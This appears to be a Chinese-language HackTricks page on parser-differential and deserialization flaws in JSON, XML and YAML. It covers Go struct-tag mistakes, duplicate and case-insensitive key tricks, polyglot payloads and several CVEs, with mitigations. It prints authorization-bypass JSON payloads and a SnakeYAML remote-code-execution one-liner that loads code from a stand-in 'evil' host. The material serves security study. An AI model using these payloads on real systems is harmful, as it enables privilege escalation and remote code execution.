JSON, XML & Yaml 黑客与问题

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Go JSON Decoder

以下问题是在 Go 的 JSON 中发现的,尽管它们也可能存在于其他语言中。这些问题发布在 this blog post

Go 的 JSON、XML 和 YAML 解析器在不一致性和不安全默认配置方面有着长期的问题链,这些问题可被滥用以 绕过身份验证提升权限外泄敏感数据

(反)序列化意外数据

目标是利用允许攻击者读/写敏感字段的 struct(例如 IsAdminPassword)。

  • 示例结构体:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • 常见漏洞
  1. Missing tag (no tag = 字段仍然会被默认解析):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. 错误使用 -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ 阻止字段被 (un)marshaled 的正确方法:

go
type User struct {
IsAdmin bool `json:"-"`
}

解析器差异

目标是通过利用不同解析器对相同 payload 的不同解释来 bypass authorization,例如:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. 重复字段: Go 的 encoding/json 会采用最后的字段。

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

其他解析器 (例如 Java’s Jackson) 可能会采用 第一个

2. 大小写不敏感: Go 对大小写不敏感:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

甚至 Unicode 技巧也有效:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: 想象:

  • Proxy written in Go
  • AuthZ service written in Python

攻击者发送:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python 看到 UserAction,允许它
  • Go 看到 AdminAction,执行它

数据格式混淆 (Polyglots)

目标是利用混合格式(JSON/XML/YAML)的系统,或在解析器错误时放行的情况,例如:

  • CVE-2020-16250:HashiCorp Vault 在 STS 返回 JSON 而非 XML 后,使用 XML 解析器解析了 JSON。

攻击者控制:

  • 请求头 Accept: application/json
  • 对 JSON body 的部分控制

Go 的 XML 解析器仍然解析了它并信任了注入的身份。

  • 构造的 payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Result:

  • Go JSON parser: Action_2(不区分大小写 + 后者生效)
  • YAML parser: Action_1(区分大小写)
  • XML parser: 解析字符串内的 "Action_3"

值得注意的解析器漏洞(2023-2025)

以下可公开利用的问题表明,不安全的解析是一个跨语言的问题 —— 不只是 Go 的问题。

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • 影响:org.yaml:snakeyaml < 2.0(被 Spring-Boot、Jenkins 等使用)。
  • 根本原因:new Constructor() 反序列化 arbitrary Java classes,允许 gadget chains 最终导致 remote-code execution。
  • One-liner PoC(将在易受攻击的主机上打开计算器):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • 修复 / 缓解:
  1. Upgrade to ≥2.0 (uses SafeLoader by default).
  2. On older versions, explicitly use new Yaml(new SafeConstructor()).

libyaml 双重释放 (CVE-2024-35325)

  • Affects: libyaml ≤0.2.5 (C library leveraged by many language bindings).
  • 问题:调用 yaml_event_delete() 两次导致双重释放,攻击者可将其用于造成 DoS,或在某些场景下进行堆利用。
  • 状态:上游以 “API misuse” 拒绝,但 Linux 发行版发布了修补的 0.2.6,对指针进行置空释放作为防御。

RapidJSON 整数(下溢|上溢)(CVE-2024-38517 / CVE-2024-39684)

  • Affects: Tencent RapidJSON before commit 8269bc2 (<1.1.0-patch-22).
  • 漏洞:在 GenericReader::ParseNumber() 中,未检查的算术操作允许攻击者构造巨大的数字字面量导致回绕并破坏堆 — 最终当生成的对象图用于授权决策时可实现权限提升。

🔐 缓解措施(更新)

风险修复 / 建议
Unknown fields (JSON)decoder.DisallowUnknownFields()
Duplicate fields (JSON)❌ 标准库中无修复 — 使用 jsoncheck 验证
Case-insensitive match (Go)❌ 无修复 — 验证结构体标签并预先规范化输入
XML garbage data / XXE使用强化的解析器(encoding/xml + DisallowDTD
YAML unknown keysyaml.KnownFields(true)
不安全的 YAML 反序列化使用 SafeConstructor / 升级到 SnakeYAML ≥2.0
libyaml ≤0.2.5 双重释放升级到 0.2.6 或 发行版已修补的版本
RapidJSON <patched commit使用最新 RapidJSON 编译(≥July 2024)

See also

Mass Assignment Cwe 915

References

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks